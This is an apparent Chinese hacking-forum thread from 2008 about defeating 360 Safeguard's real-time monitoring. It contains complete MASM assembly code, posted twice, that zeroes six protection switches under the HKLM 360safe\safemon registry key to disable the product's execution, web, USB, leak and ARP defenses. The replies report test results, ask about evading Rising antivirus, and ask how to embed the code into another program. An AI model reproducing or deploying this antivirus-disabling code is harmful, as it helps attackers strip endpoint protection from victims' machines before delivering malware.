35 12
发新话题
打印

[原创]突破360安全卫士监控

本主题由 sunwear 于 2008-8-19 11:12 关闭
提示: 作者被禁止或删除 内容自动屏蔽

TOP

最晚看见ASM用汇编实现的部分代码,今天找时没有了
自己来写一个,练练手,学了汇编还没有好好用过,写的很菜,呵呵

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib

_kill360 proto

.data
   szPath db 'software\360safe\safemon',0
   szKeyName0 db 'ExecAccess',0
   szKeyName1 db 'SiteAccess',0
   szKeyName2 db 'MonAccess',0
   szKeyName3 db 'UDiskAccess',0
   szKeyName4 db 'LeakAccess',0
   szKeyName5 db 'ARPAccess',0
   Data        dd 0h
.code
start:
   invoke _kill360

_kill360 proc
        local hKey:dword
        local hsize:dword
        local nCode:dword
        local pData:dword
        mov        eax, sizeof dword
        mov        hsize, eax
        invoke        RegCreateKey, HKEY_LOCAL_MACHINE, addr szPath, addr hKey
        .if        eax == ERROR_SUCCESS
                invoke RegSetValueEx, hKey, addr szKeyName0, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName1, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName2, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName3, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName4, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName5, NULL, REG_DWORD, addr Data, hsize
                invoke RegCloseKey, hKey
        .endif
        ret
_kill360 endp
end start

TOP

搞不懂这么大的问题难道360没考虑过么= =?
'早起的虫儿被鸟吃

TOP

思路是不错。。但放在注册表里不安全吧!!

TOP

试了。。。没反应呀。。。

TOP

不好意思呀。。。有用的。。。。可以关闭的呀。。哈哈!~!~!

TOP

很遗憾的告诉大家,测试以失败告终.....360直接无视...

TOP

我的是4.2版本的,开的保险箱,修改完注册表后,就直接在360中看到关闭了
safdafda

TOP

如果系统安装瑞星杀毒软件是否还能实现?

因为瑞星有注册表监控,所以做这个更改很难过瑞星吧

TOP

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib

_kill360 proto

.data
   szPath db 'software\360safe\safemon',0
   szKeyName0 db 'ExecAccess',0
   szKeyName1 db 'SiteAccess',0
   szKeyName2 db 'MonAccess',0
   szKeyName3 db 'UDiskAccess',0
   szKeyName4 db 'LeakAccess',0
   szKeyName5 db 'ARPAccess',0
   Data        dd 0h
.code
start:
   invoke _kill360

_kill360 proc
        local hKey:dword
        local hsize:dword
        local nCode:dword
        local pData:dword
        mov        eax, sizeof dword
        mov        hsize, eax
        invoke        RegCreateKey, HKEY_LOCAL_MACHINE, addr szPath, addr hKey
        .if        eax == ERROR_SUCCESS
                invoke RegSetValueEx, hKey, addr szKeyName0, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName1, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName2, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName3, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName4, NULL, REG_DWORD, addr Data, hsize
                invoke RegSetValueEx, hKey, addr szKeyName5, NULL, REG_DWORD, addr Data, hsize
                invoke RegCloseKey, hKey
        .endif
        ret
_kill360 endp
end start

这个怎么能添加到程序里呢?
高手指点一下
这个现在还能用不?

TOP

 35 12
发新话题